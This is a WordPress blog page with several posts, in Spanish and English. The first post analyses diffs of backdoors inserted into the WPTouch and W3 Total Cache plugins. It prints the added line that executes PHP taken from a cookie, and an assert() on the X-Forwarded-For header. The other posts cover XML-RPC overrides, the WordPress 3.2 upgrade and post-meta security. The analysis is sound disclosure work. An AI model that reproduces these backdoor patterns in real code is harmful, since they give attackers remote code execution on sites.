Category: WordPress

Categories
WordPress

Código insertado a WPTouch y WP Total Cache

Luego del incidente detectado por el equipo de WordPress, mirando rápidamente los cambios que se hicieron, se puede ver lo siguiente:

diff:

Index: /wptouch/trunk/wptouch.php
===================================================================
--- /wptouch/trunk/wptouch.php  (revision 397079)
+++ /wptouch/trunk/wptouch.php  (revision 399276)
@@ -511,4 +511,6 @@
        if (isset($_COOKIE[$key])) {
               $this->desired_view = $_COOKIE[$key];
+       if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2]))
+              $this->desired_view = $matches[1].$matches[2];
        } else {
               if ( $settings['enable-regular-default'] || defined( 'XMLRPC_REQUEST' ) || defined( 'APP_REQUEST' ) ) {

En el caso de WPTouch, permite la ejecución de código PHP ($matches[1]($matches[2])) de lo que se envíe en la cookie con nombre wptouch_switch_toggle.

Para el caso de WP Total Cache, no me queda muy claro. Por lo poco que vi, pareciera ser que desactiva la funcionalidad del plugin.

diff:

Index: w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php
===================================================================
--- w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php      (revision 399488)
+++ w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php      (revision 390604)
@@ -103,5 +103,5 @@
         $this->_request_uri = $_SERVER['REQUEST_URI'];
         $this->_lifetime = $this->_config->get_integer('browsercache.html.lifetime');
-        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_generic');
+        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_pgcache');
 
         if ($this->_config->get_boolean('mobile.enabled')) {
@@ -746,13 +746,4 @@
 
         /**
-         * Skip if proxy
-         */
-        if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) {
-            $this->cache_reject_reason = 'proxy';
-           
-            return false;
-        }
-       
-        /**
          * Skip if posting
          */
@@ -932,12 +923,9 @@
                     break;
 
-                case 'file_generic':
+                case 'file_pgcache':
                     $engineConfig = array(
-                        'exclude' => array(
-                            '.htaccess'
-                        ),
-                        'expire' => $this->_lifetime,
                         'cache_dir' => W3TC_CACHE_FILE_PGCACHE_DIR,
                         'locking' => $this->_config->get_boolean('pgcache.file.locking'),
+                        'expire' => $this->_lifetime,
                         'flush_timelimit' => $this->_config->get_integer('timelimit.cache_flush')
                     );
@@ -1010,9 +998,5 @@
      */
     function _check_ua() {
-        $uas = array_merge($this->_config->get_array('pgcache.reject.ua'), array(
-            W3TC_POWERED_BY
-        ));
-
-        foreach ($uas as $ua) {
+        foreach ($this->_config->get_array('pgcache.reject.ua') as $ua) {
             if (isset($_SERVER['HTTP_USER_AGENT']) && stristr($_SERVER['HTTP_USER_AGENT'], $ua) !== false) {
                 return false;
 

Como reflexión final, hay que tener siempre cuidado con los plugins que se instalan y si se conoce algo de PHP, nunca está de más echarle una mirada a los cambios realizados. En este caso, felizmente para los usuarios, estos modificaciones fueron detectadas.

Categories
Web WordPress

Agregar o sobre escribir métodos XmlRpc en WordPress

Cambiar el funcionamiento de algún método expuesto en la API XmlRpc, o agregar nueva funcionalidad es bastante sencillo. Se pueden utilizar los filtros xmlrpc_methods o wp_xmlrpc_server_class.

php:

/**
 * Plugin Name: Bla bla bla
 */
if ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) :
        include_once(ABSPATH . WPINC . '/class-IXR.php');
        include_once(ABSPATH . WPINC . '/class-wp-xmlrpc-server.php');
       
        class CustomRpcServer extends wp_xmlrpc_server {
                function sayHello() {
                        // Add custom code.
                        return 'Hello!!';
                }
        }

        add_filter('wp_xmlrpc_server_class', create_function('$class', 'return \'CustomRpcServer\';'));
endif;
 

Como pueden ver, el código mostrado funciona como un plugin. Lo que hace es reemplazar la clase que se encarga de las peticiones XmlRpc. Se sobre escribe el método sayHello.

Categories
Web WordPress

WordPress 3.2: ¿vale la pena actualizar?

Como todos saben, el lanzamiento de la versión estable de WordPress 3.2 está programada para el 30 de junio. Sin embargo, algunos no parecen estar muy contentos por las pocas características nuevas que incluye y generalmente, son ellos mismos quienes piden que se mejore el rendimiento. Se repite siempre el mismo fenómeno cada vez que se publica una nueva versión mayor. Sin embargo, se suele olvidar que agregar más funcionalidad y mejorar el rendimiento de una aplicación son conceptos que generalmente no van juntos de la mano.

Como dije anteriormente en otra entrada, no he seguido la evolución de esta aplicación durante los 3 últimos años. Pero por lo que comentan los desarrolladores de WordPress, esta nueva versión será un poco más rápida, aunque no especifican en qué exactamente. Imagino que el hecho de dejar de soportar PHP4 tendrá algún impacto. Aunque mirando rápidamente el historial, no parece haber muchos cambios. Sólo se borraron dos archivos php y se borraron unas cuantas funciones de wp-includes/compat.php. Lo demás, me parecen cambios cosméticos en la migración de PHP4 a PHP5, por ejemplo el cambio de los constructores (de function clase(){...} a function __construct(){...}), pero como no soy experto en PHP, no sé si haya mejoras de rendimiento al hacer eso.

Dicho todo esto, esta nueva versión, al igual que la última versión menor, también vendrá con correcciones a problemas de seguridad, algunos de los cuales afectan también a varias versiones anteriores. Pero tampoco es para poner el grito en el cielo, es más probable que no sea de gravedad para blogs como éste. No lo digo porque sea yo quien lo corrigió, sino porque sólo hay dos cuentas activas en este blog. Si pasa algo, sé a quien echarle la culpa 😀 .

Categories
Seguridad WordPress

Metadatos en Post: Eligiendo nombres apropiados de claves meta para tus plugins o themes

En la última actualización de seguridad de Worpdress se ha añadido un importante cambio que, posiblemente los desarrolladores de themes o plugins deban tener en cuenta. En el anuncio del lanzamiento no se explica en detalle los arreglos de seguridad. En este post trataré de describir brevemente estos cambios.

El 2007, publiqué un aviso de seguridad; explicaba como se permitía a usuarios no autorizados subir y ejecutar código PHP. El equipo de WordPress solucionó este problema protegiendo éstos para que no sean manipulados por el usuario. Con los años se han añadido elementos de metadatos internos y la solución anterior ya no estaba al día.

WordPress 3.1.3 añade dos nuevas funciones llamadas is_protected_meta y sanitize_meta. Éstos son usados para proteger todos los meta valores que son cambiados por métodos no standard. Como ustedes ya saben, WordPress usa claves que empiezan con un guión bajo. Por tanto, si están usando meta valores personalizados, consideren poner un guión bajo a estos para que usen la protección que es dada por el core, y también para sanitizar los datos antes de guardar y escapar antes de enviar los datos al navegador. De otro modo, incluso si se valida y sanitiza la entrada del usuario cuando se guarda, pueden tener problemas si se asume que tienen datos seguros que vienen del navegador. Estos valores pueen ser modificados usando por ejemplo admin-ajax.php.

Traducido al vuelo de: WordPress Post Metadata Security: Choosing proper post meta key names for your plugins or themes

Categories
Seguridad WordPress

WordPress Post Metadata Security: Choosing proper post meta key names for your plugins or themes

From now on, I will write some posts in English to reach a wider audience, when I consider it necessary. My apologies if you are not interested at all --- hopefully the people who read our feed will not be bothered. Spanish translations will be published, but that will depend on how much time I have.

That being said, the latest security release of WordPress introduced one important change that, maybe, every plugin or theme developer should be aware of. Since the release announcement does not explain in detail the security fixes, I will describe briefly this change.

Back in 2007, I published an advisory concerning the post metadata. It allowed unauthorized users to upload and run php code. The WordPress core team fixed the issue by protecting them from being manipulated by the user. Over the years, new internal metadata items were added and the protection done by the previous fix, was no longer up to date.

The WordPress 3.1.3 version introduced two new functions called is_protected_meta and sanitize_meta. They are used to protect all internal meta values from being changed via non standard methods. As you may already know, WordPress uses keys that begin with an underscore. So, if you are using custom meta values, consider prefixing it with an underscore to use the protection provided by the core, and also sanitize the data before saving and escape before sending data to the browser. Otherwise, even if you validate and sanitize the user input when saving them, you may run into problems by assuming that you have safe data coming from the database. These values can be modified using for example admin-ajax.php.